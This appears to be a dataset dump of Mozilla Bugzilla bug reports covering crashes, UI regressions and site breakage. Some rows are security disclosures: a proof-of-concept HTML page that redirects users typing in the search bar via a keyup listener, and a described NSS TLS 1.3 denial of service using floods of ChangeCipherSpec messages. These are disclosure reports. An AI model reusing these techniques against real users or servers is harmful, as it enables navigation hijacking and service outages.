Bug ID
int64 961
1.91M
| Comment ID
int64 3.98k
17.1M
| Author
stringlengths 8
48
| Comment Text
stringlengths 1
64.3k
⌀ |
|---|---|---|---|
1,651,738 | 14,927,826 |
We don't have the proper error page support for this in Fenix, so we need to delay the deprecation until 80.
|
|
1,652,213 | 14,931,039 |
Created attachment 9162989
Dialog box shown when selecting File | Email Link and the mailto: handler is configured to "Always Ask"
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:79.0) Gecko/20100101 Firefox/79.0
Steps to reproduce:
Selecting File | Email Link when mailto: under Applications in about:preferences is set to "Always Ask"
Actual results:
A blank dialog is presented with no options available other than "Choose Application", even when other mailto: handlers exist.
Expected results:
The mailto: handlers defined under Applications in about:preferences should be available as options. The dialog box probably should have a title rather than being blank, as well.
|
|
1,652,439 | 14,934,048 |
This bug is for crash report bp-f9fcbc49-ef28-4db6-833e-c888b0200712.
Top 2 frames of crashing thread:
```
0 xul.dll mozilla::a11y::ServiceProvider::QueryService accessible/windows/msaa/ServiceProvider.cpp:67
1 ole32.dll Invoke com\ole32\com\txf\callframe\amd64\stubless.asm:289
```
Reported by Léonie Watson on Twitter.
Second report mentioned by Léonie, which reports the same signature: bp-dc0e4362-2102-48e5-b2ca-dc27d0200712.
|
|
1,652,967 | 14,938,378 |
This bug is for crash report bp-41b5229f-f369-4232-b44c-6e76f0200715.
Top 10 frames of crashing thread:
```
0 xul.dll nsPrintJob::DoPrint layout/printing/nsPrintJob.cpp:2265
1 xul.dll nsPrintJob::PrintDocContent layout/printing/nsPrintJob.cpp:2139
2 xul.dll nsPrintJob::SetupToPrintContent layout/printing/nsPrintJob.cpp:1624
3 xul.dll nsPrintJob::ResumePrintAfterResourcesLoaded layout/printing/nsPrintJob.cpp:1710
4 xul.dll nsPrintJob::InitPrintDocConstruction layout/printing/nsPrintJob.cpp:1685
5 xul.dll nsPrintJob::Observe layout/printing/nsPrintJob.cpp:2912
6 xul.dll mozilla::embedding::PrintProgressDialogChild::RecvDialogOpened toolkit/components/printingui/ipc/PrintProgressDialogChild.cpp:37
7 xul.dll mozilla::embedding::PPrintProgressDialogChild::OnMessageReceived ipc/ipdl/PPrintProgressDialogChild.cpp:228
8 xul.dll mozilla::dom::PContentChild::OnMessageReceived ipc/ipdl/PContentChild.cpp:8382
9 xul.dll mozilla::ipc::MessageChannel::DispatchMessage ipc/glue/MessageChannel.cpp:2074
```
Started in nightly channel with build id 20200713095122.
`mPrt` and therefore `printData` is `nullptr` here.
Jonathan, I think this might be a regression from your recent landing from Bug 1652344, Bug 1652342 or Bug 1652318. Could you give that a look?
|
|
1,653,168 | 14,939,692 |
Created attachment 9163935
Thunderbird78blankPreviewPane.png
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Steps to reproduce:
I download and installed this release:
https://ftp.mozilla.org/pub/thunderbird/releases/78.0/linux-x86_64/en-US/thunderbird-78.0.tar.bz2
Then ran it against the 68.10 profile, highlighted a message and then pressed F8.
Actual results:
The message preview pane opened, but was empty, not even the normal menu items were shown.
Expected results:
Minimal headers, menu items and message body should have been displayed.
|
|
1,653,436 | 14,941,540 |
I thought this was a dupe of bug 1652024 (or its dupes) but I'm not getting truncated results and I can still see it in the 2020-07-16 nightly build.
STR
1. have a profile with a large PlacesDB
2. quickly type in a few characters of a history item
Actual
- some characters of what you type remain, sometimes with them half-completing one of your history/bookmarks (like if I type "Wennie" to go my notes for my discussions with Wennie I often end up with wfastmail.com (I used fastmail))
Expected
- no lost characters
|
|
1,640,140 | 14,837,377 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Steps to reproduce:
Run console.log() with a very large regular expression. For example, go to https://web.cecs.pdx.edu/tdulcet/autocorrect/ and run `console.log(symbolpatterns)` in the Console.
I tested in Firefox 78 Nightly, Firefox 76, Firefox 68 ESR and Firefox 60 ESR before creating this bug and was able to produce the issue. No problems in Firefox 56 or in Chrome.
Actual results:
In Firefox 78 Nightly, I get this error: "[DEVTOOLS ERROR] We’re sorry, we couldn’t render the message. This shouldn’t have happened - please file a bug at https://bugzilla.mozilla.org/enter_bug.cgi?product=DevTools&component=Console with the message metadata in the description."
Metadata:
{
"id": "18",
"innerWindowID": null,
"allowRepeating": true,
"source": "console-api",
"timeStamp": 1590142167309,
"type": "log",
"helperType": null,
"level": "log",
"category": null,
"messageText": null,
"parameters": [
{
"type": "object",
"actor": "server0.conn2.child26/obj48",
"class": "RegExp",
"ownPropertyLength": 1,
"extensible": true,
"frozen": false,
"sealed": false,
"displayString": {
"type": "longString",
"actor": "server0.conn2.child26/longstractor49",
"length": 23073,
"initial": "/((100)|(--)|(\\(e\\))|(\\.\\.\\.)|(::)|(:=)|(~=)|(\\+-)|(-\\+)|(<<)|(<=)|(->)|(>=)|(>>)|(<=>)|(1\\/4)|(1\\/2)|(3\\/4)|(1\\/7)|(1\\/9)|(1\\/10)|(1\\/3)|(2\\/3)|(1\\/5)|(2\\/5)|(3\\/5)|(4\\/5)|(1\\/6)|(5\\/6)|(1\\/8)|(3\\/8)|(5\\/8)|(7\\/8)|(<--)|(<==)|(==>)|(-->)|(<-->)|(<--\\|)|(<==\\|)|(\\|-->)|(\\|==>)|(::=)|(__)|(==)|(!=)|(===)|(<-<)|(<<-)|(<-)|(<->)|(->>)|(>->)|(<==>)|(=>)|(>>-)|(>-)|(<~>)|(-<)|(-<<)|(<-\\|)|(<=\\|)|(\\/\\\\)|(\\\\\\/)|(\\|->)|(\\|=>)|(<~~)|(<~)|(~~)|(~>)|(~~>)|(<<<)|(<>)|(>>>)|(<\\|)|(\\|>)|(\\\\\\\\)|(\\|\\|)|(\\.\\.)|(---)|(\\+\\+)|(\\+\\+\\+)|(-\\|)|(_\\|_)|(\\|-)|(\\|\\|-)|(\\|=)|(\\|\\|=)|(ZZZ)|(<!>)|(\\(-\\))|(\\(\\\\\\))|(\\?\\?)|(\\[\\])|(\\(\\))|(!\\?)|(COOL)|(\\[COOL\\])|(FREE)|(\\[FREE\\])|(NEW)|(\\[NEW\\])|(SOS)|(\\[SOS\\])|(UP!)|(\\[UP!\\])|(\\[BACK\\])|(\\[END\\])|(\\[ON!\\])|(\\[SOON\\])|(\\[TOP\\])|(\\[i\\])|(\\[OK\\])|(\\[VS\\])|(\\[x\\])|(\\[\\*\\])|(:\\+1:)|(:-1:)|(\\[->\\])|(\\[<-\\])|(\\[<->\\])|(\\[#\\])|(\\[0\\])|(\\[1\\])|(\\[2\\])|(\\[3\\])|(\\[4\\])|(\\[5\\])|(\\[6\\])|(\\[7\\])|(\\[8\\])|(\\[9\\])|(\\[10\\])|(:o\\))|(=\\))|(=-\\))|(:>)|(:->)|(;p)|(;-p)|(;b)|(;-b)|(\\(c\\))|(\\"
}
}
],
"repeatId": "{\"frame\":{\"source\":\"moz-extension://3fb88906-3e8d-4be2-b52b-2f9bc5f98376/common/modules/AutocorrectHandler.js\",\"sourceId\":\"server0.conn2.child26/source31\",\"line\":186,\"column\":12},\"groupId\":null,\"indent\":0,\"level\":\"log\",\"messageText\":null,\"parameters\":[{\"type\":\"object\",\"actor\":\"server0.conn2.child26/obj48\",\"class\":\"RegExp\",\"ownPropertyLength\":1,\"extensible\":true,\"frozen\":false,\"sealed\":false,\"displayString\":{\"type\":\"longString\",\"actor\":\"server0.conn2.child26/longstractor49\",\"length\":23073,\"initial\":\"/((100)|(--)|(\\\\(e\\\\))|(\\\\.\\\\.\\\\.)|(::)|(:=)|(~=)|(\\\\+-)|(-\\\\+)|(<<)|(<=)|(->)|(>=)|(>>)|(<=>)|(1\\\\/4)|(1\\\\/2)|(3\\\\/4)|(1\\\\/7)|(1\\\\/9)|(1\\\\/10)|(1\\\\/3)|(2\\\\/3)|(1\\\\/5)|(2\\\\/5)|(3\\\\/5)|(4\\\\/5)|(1\\\\/6)|(5\\\\/6)|(1\\\\/8)|(3\\\\/8)|(5\\\\/8)|(7\\\\/8)|(<--)|(<==)|(==>)|(-->)|(<-->)|(<--\\\\|)|(<==\\\\|)|(\\\\|-->)|(\\\\|==>)|(::=)|(__)|(==)|(!=)|(===)|(<-<)|(<<-)|(<-)|(<->)|(->>)|(>->)|(<==>)|(=>)|(>>-)|(>-)|(<~>)|(-<)|(-<<)|(<-\\\\|)|(<=\\\\|)|(\\\\/\\\\\\\\)|(\\\\\\\\\\\\/)|(\\\\|->)|(\\\\|=>)|(<~~)|(<~)|(~~)|(~>)|(~~>)|(<<<)|(<>)|(>>>)|(<\\\\|)|(\\\\|>)|(\\\\\\\\\\\\\\\\)|(\\\\|\\\\|)|(\\\\.\\\\.)|(---)|(\\\\+\\\\+)|(\\\\+\\\\+\\\\+)|(-\\\\|)|(_\\\\|_)|(\\\\|-)|(\\\\|\\\\|-)|(\\\\|=)|(\\\\|\\\\|=)|(ZZZ)|(<!>)|(\\\\(-\\\\))|(\\\\(\\\\\\\\\\\\))|(\\\\?\\\\?)|(\\\\[\\\\])|(\\\\(\\\\))|(!\\\\?)|(COOL)|(\\\\[COOL\\\\])|(FREE)|(\\\\[FREE\\\\])|(NEW)|(\\\\[NEW\\\\])|(SOS)|(\\\\[SOS\\\\])|(UP!)|(\\\\[UP!\\\\])|(\\\\[BACK\\\\])|(\\\\[END\\\\])|(\\\\[ON!\\\\])|(\\\\[SOON\\\\])|(\\\\[TOP\\\\])|(\\\\[i\\\\])|(\\\\[OK\\\\])|(\\\\[VS\\\\])|(\\\\[x\\\\])|(\\\\[\\\\*\\\\])|(:\\\\+1:)|(:-1:)|(\\\\[->\\\\])|(\\\\[<-\\\\])|(\\\\[<->\\\\])|(\\\\[#\\\\])|(\\\\[0\\\\])|(\\\\[1\\\\])|(\\\\[2\\\\])|(\\\\[3\\\\])|(\\\\[4\\\\])|(\\\\[5\\\\])|(\\\\[6\\\\])|(\\\\[7\\\\])|(\\\\[8\\\\])|(\\\\[9\\\\])|(\\\\[10\\\\])|(:o\\\\))|(=\\\\))|(=-\\\\))|(:>)|(:->)|(;p)|(;-p)|(;b)|(;-b)|(\\\\(c\\\\))|(\\\\\"}}],\"source\":\"console-api\",\"type\":\"log\",\"userProvidedStyles\":[],\"private\":false,\"stacktrace\":null}",
"stacktrace": null,
"frame": {
"source": "moz-extension://3fb88906-3e8d-4be2-b52b-2f9bc5f98376/common/modules/AutocorrectHandler.js",
"sourceId": "server0.conn2.child26/source31",
"line": 186,
"column": 12
},
"groupId": null,
"errorMessageName": null,
"exceptionDocURL": null,
"cssSelectors": "",
"userProvidedStyles": [],
"notes": null,
"indent": 0,
"prefix": "",
"private": false,
"chromeContext": false,
"hasException": false,
"isPromiseRejection": false
}
In Firefox 68 ESR, the Web Console goes blank, although there is this error in the Browser Console:
Invariant Violation: "Minified React error #31; visit https://reactjs.org/docs/error-decoder.html?invariant=31&args[]=object%20with%20keys%20%7Btype%2C%20initial%2C%20length%2C%20actor%7D&args[]= for the full message or use the non-minified dev environment for full errors and additional helpful warnings. "
invariant resource://devtools/client/shared/vendor/react-dom.js:33
reactProdInvariant resource://devtools/client/shared/vendor/react-dom.js:63
throwOnInvalidObjectType resource://devtools/client/shared/vendor/react-dom.js:9240
reconcileChildFibers resource://devtools/client/shared/vendor/react-dom.js:9908
reconcileChildrenAtExpirationTime resource://devtools/client/shared/vendor/react-dom.js:10161
reconcileChildren resource://devtools/client/shared/vendor/react-dom.js:10152
updateHostComponent resource://devtools/client/shared/vendor/react-dom.js:10475
beginWork resource://devtools/client/shared/vendor/react-dom.js:10898
performUnitOfWork resource://devtools/client/shared/vendor/react-dom.js:12713
workLoop resource://devtools/client/shared/vendor/react-dom.js:12730
renderRoot resource://devtools/client/shared/vendor/react-dom.js:12770
performWorkOnRoot resource://devtools/client/shared/vendor/react-dom.js:13359
performWork resource://devtools/client/shared/vendor/react-dom.js:13281
performSyncWork resource://devtools/client/shared/vendor/react-dom.js:13253
requestWork resource://devtools/client/shared/vendor/react-dom.js:13153
scheduleWork$1 resource://devtools/client/shared/vendor/react-dom.js:13022
enqueueSetState resource://devtools/client/shared/vendor/react-dom.js:8845
setState React
Redux 5
eventTelemetryMiddleware resource://devtools/client/webconsole/middleware/event-telemetry.js:21
historyPersistenceMiddleware resource://devtools/client/webconsole/middleware/history-persistence.js:36
thunk resource://devtools/client/webconsole/middleware/thunk.js:14
throttledDispatchPromise resource://devtools/client/webconsole/webconsole-wrapper.js:684
react-dom.js:11273:13
Expected results:
The regular expression should be logged to the Console.
|
|
1,640,441 | 14,839,246 |
In my personal profile. I have Fission enabled for a few weeks now and had Slack hang indefinitely around 4 times.
This time it happened when I clicked an external link and managed to remember to profile: https://perfht.ml/3d4vT52
First look suggests an infinite react-state/resize loop.
|
|
1,640,496 | 14,839,488 |
### Steps to reproduce
1. Navigate to a youtube video; play the video.
2. Scroll down the page to expand the comments (it seems to reproduce easier that way).
### Alternative STR
1. Open video in R-B/Fenix.
2. Fullscreen the video.
3. Press the system home button to enable PiP mode.
4. Click on the PiP mode video to return to the browser.
### Expected
- The video should play without any hiccups.
### Actual
- The video starts to glitch and eventually task switching leads to a permanent black screen until the app is killed (see video).
- New tabs show a black screen too, but seem to be loading a session.
- Video link: https://drive.google.com/file/d/1A8ahE-8zb2wL1EpFoUXdRWfxPykylVKD/view?usp=sharing
GVE: 78.0.20200521093657; reproducible on Fenix and Reference Browser as well.
Device: Android 10, Pixel 4
|
|
1,640,973 | 14,844,225 |
Created attachment 9151800
GlobalSharingOverlay.png
**Affected versions**
* 78.0a1(2020-05-26)
**Affected platforms**
* Ubuntu 18.04 LTS
**Steps to reproduce**
1. Engage in a video conference call (talky.io)
2. Click on the share screen button
3. Select a screen option from the "Select Window or Screen to share" drop-down and click on the "Allow" button.
4. Observe the Global Sharing Overlay.
**Expected result**
* Global Sharing Overlay should not have a title bar with a close button as seen in the image attached.
**Actual Result**
* Global Sharing Overlay has a title bar with a close button above it and you can close it without being able to bring it back.
**Regression range**
* This is a issue introduced with the new feature.
|
|
1,641,287 | 14,846,881 |
Created attachment 9152157
poc_2020_05_27.mov
Hi Team!
Summary:
Malicious website can listen for the `keyup` event, and perform a redirect when the user types a search term in the search bar and presses enter.
I found this issue after experiencing this weird behaviour on a website which was using the keyup listener to submit a form when enter is pressed.
Reproduction steps:
1. Open the POC HTML included in this report
2. Click on the searchbar and start typing to prepare a Google search
3. Press enter quickly after typing the last character of the search query
4. See the POC HTML redirect to YouTube inster of the expected search results appearing
I have noticed if the user waits before pressing enter after typing in the search query, the `keyup` event will not get dispatched.
I attached a POC video to see this issue in action. (length: 00:15)
POC HTML:
```html
<html>
<body>
<h1 id="blur" style="display: none;padding-top: 30%;text-align: center">blur event, user maybe typing in searchbar!</h1>
<script>
window.addEventListener('focus', function(e) {
document.body.style.backgroundColor = "white";
document.getElementById("blur").style.display = "none";
});
window.addEventListener('blur', function(e) {
document.body.style.backgroundColor = "red"
document.getElementById("blur").style.display = "block";
window.addEventListener('keyup', function() {
window.location = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
});
});
</script>
</body>
</html>
```
Thanks!
David
|
|
1,641,303 | 14,846,985 |
Created attachment 9152175
POC_URL mPath Memory Leak.html
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Steps to reproduce:
### Summary
An information disclosure vulnerability exists in the URL mPath functionality of Mozilla Firefox Firefox Nightly Version 78.0a1 x64 and Firefox Release Version 76.0.2 x64. A specially crafted URL object can cause an out-of-bounds read. An attacker can visit a webpage to trigger this vulnerability.
Tested Versions:
Mozilla Firefox Firefox Nightly Version 78.0a1 x64
Mozilla Firefox Firefox Release Version 76.0.2 x64
Actual results:
Please review attached advisory and poc file
Expected results:
Please review attached advisory and poc file
|
|
1,641,480 | 14,848,831 |
Created attachment 9152323
PoC
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Steps to reproduce:
Step 1. Checkout the latest version of NSS code and build it. Revision ID: 661e3e3f6ba515a36fc97038164979a216c9f87b
Step 2. Run ssl_gtests.sh test to create the data selfserv tool needed.
```shell
HOST=localhost DOMSUF=localdomain USE_64=1 ./nss/tests/ssl_gtests/ssl_gtests.sh
```
Step 3. Run slefserv in TLS 1.3 mode.
```shell
NSS_DIR="$(pwd)/dist/$(cat dist/latest)"
LD_LIBRARY_PATH="$NSS_DIR/lib" "$NSS_DIR/bin/selfserv" -n rsa -p 4433 -d ~/nss-dev/tests_results/security/localhost.1/ssl_gtests/ -v -V tls1.3:tls1.3
```
Step 4. Config environment for PoC (named ccs_dos_poc.py in the attachments).
Python version: 3.8
Package requirements: tlslite-ng==0.8.0-alpha37
Change the host and port variables in the PoC code according to your environment.
Step 5. Run PoC code.
Actual results:
On server side, you will see the CPU usage of NSS server process reaches 100% immediately and keeps. However, the CPU usage of the PoC process on the client side is very low.
It is a remote server-side DoS (Denial of Service) issue. An unauthorized attacker can make a DoS attack to a NSS TLS 1.3 server remotely in a very high efficiency.
Expected results:
NSS server should handle CCS message in TLS 1.3 more carefully to prevent this kind of attack. I will explain this issue as detailed as possible.
Section 1. Issue Analysis
In TLS 1.3, CCS message is used only for compatibility purposes:
https://tools.ietf.org/html/rfc8446#section-5
https://tools.ietf.org/html/rfc8446#appendix-D.4
NSS did followed the RFC 8446, but it's a relatively loose state machine check and there are no other limits. It allows an attacker to send CCS messages in a row after ClientHello message. If an attacker put multiple CCS messages in a single tcp packet, the NSS server will stuck in a loop for many times to process the messages. The relevant code is in the ssl3_HandleRecord() function of /nss/lib/ssl/ss3con.c:
https://hg.mozilla.org/projects/nss/file/661e3e3f6ba515a36fc97038164979a216c9f87b/lib/ssl/ssl3con.c#l12968
Normally, if an attacker need to keep sending packets for a remote DoS attack, it's not considered as a security vulnerability because the processing power requirement for client and server is basically the same. But in this issue, the server requires much more processing power than the client because an attacker can put multiple CCS messages in a single TCP packet. It's like a CCS message bomb. The server needs to loop for thousands of times to process a single TCP packet while the client only needs to do a raw socket sending.
A very good example of this kind of vulnerability is the SSL Renegotiation DoS problem (CVE-2011-1473, CVE-2011-5094) in which the processing power difference is only about 10 times. The issue here is more serious from the processing power difference perspective. Here's some information about the SSL Renegotiation DoS problem:
http://www.ietf.org/mail-archive/web/tls/current/msg07553.html
https://bugzilla.redhat.com/show_bug.cgi?id=707065
Section 2. Fix suggestion
A good example of how to handle CCS message properly in TLS 1.3 is the OpenSSL implementation. In OpenSSL, they limit the max consecutive CCS message. The way OpenSSL did this is a little bit complicated. First, OpenSSL treated CCS message in TLS 1.3 as empty record and get empty record count. Then, the empty record count is compared to MAX_EMPTY_RECORDS constant which is 32. In the code comment, they also explained the reason why the did this is to prevent similar attack we talk about here: "MAX_EMPTY_RECORDS defines the number of consecutive, empty records that will be processed per call to ssl3_get_record. Without this limit an attacker could send empty records at a faster rate than we can process and cause ssl3_get_record to loop forever."
https://github.com/openssl/openssl/blob/3d518d3d813da40195ff9fe5f4567ab9f09ddcc9/ssl/record/ssl3_record.c#L505
https://github.com/openssl/openssl/blob/3d518d3d813da40195ff9fe5f4567ab9f09ddcc9/ssl/record/ssl3_record.c#L153
The key point to address this issue is to limit the consecutive CCS messages numbers.
Section 3. Conclusion
The key point of the issue is the disparity processing power requiring on server and client which makes the remote DoS attack possible. Comparison with the SSL Renegotiation DoS problem and the OpenSSL implementation may help you to see this issue clearly. Hope this issue will be fixed in NSS.
|
|
1,641,521 | 14,849,057 |
**Affected versions**
- Firefox 77.0
- Firefox 78.0a1
**Affected platforms**
- macOS 10.15
- Windows 7
- Ubuntu 18.04
**Steps to reproduce**
1. Launch Firefox
2. Access an article from The Verge, for [example](https://www.theverge.com/2020/5/27/21271927/uber-jump-bike-scooter-scrap-photos-video-lime-junkyard) and scroll down to where the video is located
3. Click on play
**Expected result**
- The video is played without issues
**Actual result**
- The video is not played back
**Regression range**
- Will see for a regression, it seems that 68.9.0esr is not affected
**Additional notes**
- The issue can be seen in the following [attachment](https://drive.google.com/file/d/1oaW5K8f8Jidfs4_RloVppTC4mO9ILasx/view?usp=sharing)
|
|
1,641,546 | 14,849,244 |
**Affected versions**
* 78.0a1
**Affected platforms**
* Ubuntu 18.04 LTS
**Steps to reproduce**
1. Engage in a videoconference call.
2. Observe the Global Sharing Overlay.
3. Move the Global Sharing Overlay on the screen.
**Expected result**
* Global Sharing Overlay can be moved anywhere on the screen.
**Actual Result**
* The Global Sharing Overlay can't be moved from it's initial position.
**Regression range**
* This is a recent regression.
**Additional notes**
* This issue occurred after the Global Sharing Overlay title bar was fixed.
|
|
1,641,554 | 14,849,290 |
**Steps to reproduce**
1. With the console open at the bottom and the console being not too tall
1. Evaluate `document`
1. Expand the resulting object
**Actual results**
The console is scroll to the very bottom, making the top of the message out of view
---
This was regressed by Bug 1421659, where we scroll to the bottom when the output size changes.
|
|
1,642,258 | 14,853,821 |
The legacy WebRTC sharing indicator sets role="alert" on the window element. After the fix for bug 1610596, which disallows roles other than document, dialog or application, this no longer works. Setting it on the body element (as the new indicator will do) fails for the same reason.
Bug 1610596 was necessary to comply with the ARIA spec and avoid brokenness for Orca. That's still the correct decision. However, I think it's reasonable to allow role="alert" for chrome documents.
|
|
1,642,303 | 14,855,611 |
Created attachment 9153118
Firefox nightly not showing ourworldindata graph
Since a few days the current nighlties don't show the graph in
(https://ourworldindata.org/grapher/total-covid-deaths-per-million?tab=chart&time=2020-03-15..&country=ARG~AUT~BEL~BRA~CAN~CHN~DNK~FRA~DEU~IRL~ITA~JPN~LIE~LUX~NLD~PRT~RUS~KOR~ESP~SWE~CHE~GBR~USA)
isn't shown. A different profile or private browsing don't help. Chrome displays the graph correctly.
|
|
1,642,343 | 14,855,969 |
Created attachment 9153143
Nightly 2020-06-01.png
As I understand it, Gecko is in the process of showing focus rings in more places. However, I noticed at least one example where the focus ring that recently started getting shown on crates.io (around the search input box) looks quite ugly, which makes even drawing the focus ring look like a regression compared to not doing so.
In comparison, the Safari focus ring is more subdued and follows the border-radius.
|
|
1,642,480 | 14,856,850 |
This bug is for crash report bp-e41ca7aa-1fcd-4d8c-a003-d66b20200531.
```
Top 10 frames of crashing thread:
0 xul.dll static mozilla::a11y::nsAccUtils::IsARIALive accessible/base/nsAccUtils.cpp:477
1 xul.dll mozilla::a11y::Accessible::HandleAccEvent accessible/generic/Accessible.cpp:833
2 xul.dll mozilla::a11y::AccessibleWrap::HandleAccEvent accessible/windows/msaa/AccessibleWrap.cpp:1161
3 xul.dll static nsEventShell::FireEvent accessible/base/nsEventShell.cpp:43
4 xul.dll mozilla::a11y::NotificationController::ProcessMutationEvents accessible/base/NotificationController.cpp:480
5 xul.dll mozilla::a11y::NotificationController::WillRefresh accessible/base/NotificationController.cpp:836
6 xul.dll nsRefreshDriver::Tick layout/base/nsRefreshDriver.cpp:1994
7 xul.dll mozilla::RefreshDriverTimer::TickRefreshDrivers layout/base/nsRefreshDriver.cpp:350
8 xul.dll mozilla::RefreshDriverTimer::Tick layout/base/nsRefreshDriver.cpp:367
9 xul.dll mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver layout/base/nsRefreshDriver.cpp:745
```
This is a `NULL` pointer dereference, the oldest buildid for this crash is 20200512140204. Note that there's a single non-nightly crash but it seems unrelated.
|
|
1,653,915 | 14,946,133 |
Created attachment 9164653
Recording of the issue
**Affected version:**
All - if CC specific prefs are enabled
**Tested on:**
Windows 10
**Steps to reproduce:**
1. Reach the payment form on apple.com
2. Check the autofill dropdown for the shipping address and the payment form
**Expected results:**
1. Address and CC autofill should be functional
**Actual results:**
1. Address and CC autofill doesn't work
**Regression-range**
This is a regression due to site changes, field values changed and also checked back to a date where it used to work but with an issue, for example: Bug 1645741
**Notes:**
CC number field value:
<input value="" aria-required="true" aria-labelledby="recon-0-187-label " aria-describedby="recon-0-187-error" aria-invalid="true" data-autom="card-number-input" type="tel" maxlength="16" class=" form-textbox-input" id="recon-0-187" name="recon-0-187" required="" autocomplete="off">
|
|
1,654,246 | 14,948,486 |
Created attachment 9165025
RemoveSearchEngine.gif
**Affected versions**
* 80.0a1 (BuildId:20200720214226)
**Unaffected versions**
* 79.0b9 (BuildId:20200717001501)
* 79.0 (BuildId:20200720193547)
* 78.0.2 (BuilId:20200708170202)
* 68.10.0esr (BuildId:20200622191537)
* 78.0.2esr (BuildId:20200708170510)
**Affected platforms**
* Windows 10 64bit
* Ubuntu 18.04 64bit
* macOS 10.14
**Steps to reproduce**
1. Launch Firefox.
2. Access the about:preferences#search page.
3. Remove a default search engine.
4. Restart Firefox or upgrade Firefox.
5. Access the about:preferences#search page.
6. Try restoring the default search engines by clicking the “Restore Defaults Search Engine” button.
**Expected result**
* The “Restore Default Search Engine” button is enabled and the search engine can be successfully restored.
**Actual result**
* The “Restore Default Search Engine” button is disabled and the previously removed search engine cannot be successfully restored.
**Regression Range**
* This seems to be a regression:
* Pushlog: https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=50aa1945d817b7e6a7c9488fcf92e07352623cac&tochange=e1d659582192657c70a9420d98bd53fb3838c255
* Possible Regressor: Bug 1647359
**Notes**
* For further information regarding this issue please observe the attached screencast.
* A workaround for this issue is to remove another search engine (during the same browser session) and restore them all by clicking the “Restore Default Search Engine”
* Same issue is encountered if trying to reorder the search engines, after a browser restart their default position cannot be restored via the "Restore Default Search Engine" button.
* [Proposed Severity] I think that this is a S3 severity issue.
|
|
1,655,624 | 14,959,590 |
Created attachment 9166456
conduit-query-messaging.zip
After taking a very good look at bug 1651274, I figured that the test is failing intermittently because a message has two recipients, and that destroying one recipient results in the destruction of the whole message channel, even though the other recipient is eligible for sending a reply to the sender.
I created a deterministic test case, and confirmed that the error from that bug is observed.
STR:
1. Load extension.
2. Click the extension button.
3. Wait a second for a dialog to appear.
Expected:
- "Got result: BG"
(Firefox 78.0.2, Firefox Beta 79.0 and Chromium 86.0.4215.0)
Actual:
- "ERROR: Actor 'Conduits' destroyed before query 'RuntimeMessage' was resolved"
( Firefox Nightly 80.0a1, buildID 20200719090414 )
mozregression points to https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=145740ac5efede9a7bcf4c6e1db4fe07bc24ecaf&tochange=5907260fa4688e06eb4b07982ed23fc2d476d8e3
|
|
1,655,693 | 14,959,936 |
Created attachment 9166517
unsecure link bug
**Suggested severity**
* S2
**Affected versions**
* Fx80.0b1
* Fx81.0a1
**Affected platforms**
* Windows 10
* Windows 7
* Ubuntu 18.04
**Steps to reproduce**
1. Launch Firefox with a fresh profile.
2. Visit http://example.com, http://www.example.com, https://example.com, and https://www.example.com, in that order, in the same tab.
3. Open a new tab and close the tab that you were opening example.com in.
4. Type "ex" in the address bar.
**Expected result**
*The first result (the one that would be selected if you hit Enter), is https://www.example.com.
**Actual result**
* The selected link is http://www.example.com (the unsecured version of the link).
**Regression range**
* Will come back with a regression ASAP, but from the look of it, something broke between Fx79.0b9 and Fx80.0b1, because the issue does not occur in the release version.
|
|
1,655,779 | 14,960,452 |
This bug is for crash report bp-b6f60a04-8bbf-46c0-b287-fc98c0200728.
Top 10 frames of crashing thread:
```
0 XUL mozilla::a11y::GeckoTextMarkerRange::LinkCount const accessible/mac/GeckoTextMarker.mm:301
1 XUL mozilla::a11y::GeckoTextMarkerRange::TextInternal const accessible/mac/GeckoTextMarker.mm:329
2 XUL mozilla::a11y::GeckoTextMarkerRange::Text const accessible/mac/GeckoTextMarker.mm:262
3 XUL -[MOXTextMarkerDelegate moxStringForTextMarkerRange:] accessible/mac/MOXTextMarkerDelegate.mm:110
4 XUL -[MOXTextMarkerDelegate moxLengthForTextMarkerRange:] accessible/mac/MOXTextMarkerDelegate.mm:114
5 XUL -[MOXAccessibleBase accessibilityAttributeValue:forParameter:] accessible/mac/MOXAccessibleBase.mm:292
6 AppKit AppKit@0x679c3d
7 AppKit AppKit@0x6753c9
8 AppKit AppKit@0x676737
9 AppKit AppKit@0x479460
```
I was doing the following:
1. From the "You've just been upgraded to Nightly 81", chose the SignIn button.
2. Was brought to the Firefox Accounts sign in page. User name and password were already filled out from credentials saved in about:logins.
3. Hit the Sign In button, or just pressed Enter on the password field to submit the form.
4. I have 2FA set up on my account, so Firefox comes back asking me for a 2-factor code from an authenticator app. This is when it crashes. I briefly hear that the focus is in the field for the code, then I am dropped first back to Finder, then to Moz Crash Reporter.
This is reproducible 100% of the time. Another report of this is [here](https://crash-stats.mozilla.org/report/index/ef78dfd9-f03f-4d3d-82c1-48eb70200728#tab-bugzilla).
|
|
1,655,865 | 14,961,449 |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Steps to reproduce:
e.gg is a new product by Facebook. Tracking protection breaks all CSS, JS, and images on this site. To repro, open https://e.gg with enhanced tracking protection enabled.
Related to #1614085 and #1590944.
Actual results:
CSS, JS, and images don't load. The console shows errors such as:
> The resource at “https://static.xx.fbcdn.net/rsrc.php/v3/y7/l/0,cross/r-wtTsxl41S.css?_nc_x=Ij3Wp8lg5Kz” was blocked because content blocking is enabled.
Expected results:
CSS, JS, and images should load.
|
|
1,642,712 | 14,858,747 |
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Steps to reproduce:
Platform: macOS
Firefox Nightly Version: 79.0a1
Steps:
Go to about:support
Actual results:
Troubleshooting Information Page Open , then get prompted for Microphone access
Expected results:
Troubleshooting Information Page Open
|
|
1,642,792 | 14,859,262 |
